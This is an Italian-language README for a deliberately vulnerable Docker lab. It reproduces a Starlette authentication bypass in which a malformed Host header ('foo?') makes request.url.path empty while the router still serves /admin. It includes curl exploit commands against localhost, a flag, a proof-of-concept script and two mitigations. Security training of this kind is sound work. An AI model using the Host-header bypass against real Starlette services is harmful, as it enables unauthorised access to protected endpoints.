
Starlette Host-Header URL Confusion Lab (X41-2026-002) - CVE-2026-48710
Un laboratorio formativo containerizzato e autonomo che riproduce la vulnerabilità di bypass dell'autenticazione in Starlette, divulgata da X41 D-Sec.
>= 0.8.3, < 1.0.1 (il laboratorio fissa la versione 0.37.2)1.0.1⚠️ Solo per formazione autorizzata sulla sicurezza. Questa applicazione è deliberatamente vulnerabile. Non distribuirla su alcuna rete raggiungibile.
Starlette inoltra una richiesta a una rotta usando l'ASGI scope["path"] grezzo, ma ricostruisce request.url formattando l'header Host fornito dal client in "{scheme}://{host}{path}" — senza convalidare l'header Host secondo RFC 9112 §3.2. Poiché i metacaratteri URL (?, /, #) sono permessi così come sono, un attaccante può far sì che il percorso ricostruito differisca da quello instradato (routed). Qualsiasi controllo di sicurezza basato su request.url.path può quindi essere ingannato mentre il router raggiunge ancora il gestore protetto.
Il middleware vulnerabile permette la richiesta solo quando request.url.path è / o vuoto:
if request.url.path in ("/", ""):
return await call_next(request) # permesso
return PlainTextResponse("Forbidden", status_code=403)
Inviando Host: foo? con GET /admin:
| Componente | Valore utilizzato |
|---|---|
Router (scope["path"]) |
Il ? trasforma tutto ciò che segue nella stringa di query, quindi il percorso analizzato è vuoto. L'auth vede un percorso vuoto e lo lascia passare; il router serve comunque /admin. Bypass ottenuto.
Richiede Docker + Docker Compose.
docker compose up --build
Vengono avviati due servizi:
| Servizio | URL | Comportamento |
|---|---|---|
vulnerable | http://localhost:8000 | bypassabile |
fixed | http://localhost:8001 | mitigato (due modi) |
# Bloccato normalmente:
curl -i http://localhost:8000/admin # 403 Forbidden
# Bypass tramite iniezione dell'header Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
Oppure esegui lo script PoC guidato:
./exploit/exploit.sh # attacca :8000 (riuscito)
./exploit/exploit.sh 8001 # attacca :8001 (fallisce — corretto)
Il gestore vulnerabile di /admin restituisce un corpo JSON che rende visibile la confusione — nota come scope_path e reconstructed_path discordano:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
Vedi fixed/fixed_app.py. Due mitigazioni indipendenti:
request.scope["path"] — lo stesso percorso grezzo usato dal router — invece di request.url.path ricostruito.TrustedHostMiddleware rifiuta header Host inaspettati o malformati prima che venga eseguita qualsiasi logica applicativa, rispecchiando ciò che un proxy inverso conforme alle RFC (nginx/Apache) fa a monte.La correzione nel mondo reale è semplicemente aggiornare a Starlette ≥ 1.0.1, che convalida l'header Host durante la ricostruzione dell'URL.
redirect_uri di OAuth, chiavi cache, link di reset password costruiti dall'Host.)/admin) è più fragile qui rispetto a "decidere in base all'endpoint instradato"? Cosa succede se l'instradamento è case-insensitive o ha reindirizzamenti con trailing slash?0.0.0.0-day.)starlette-host-header-lab/
├── app/vulnerable_app.py # il servizio deliberatamente vulnerabile
├── fixed/fixed_app.py # servizio mitigato per confronto
├── exploit/exploit.sh # proof-of-concept guidato
├── requirements.txt # fissa Starlette 0.37.2 (vulnerabile)
├── Dockerfile
├── docker-compose.yml
└── README.md
/admin → invia a admin() |
request.url | http://foo?/admin |
request.url.path | "" → supera il controllo di auth ✅ |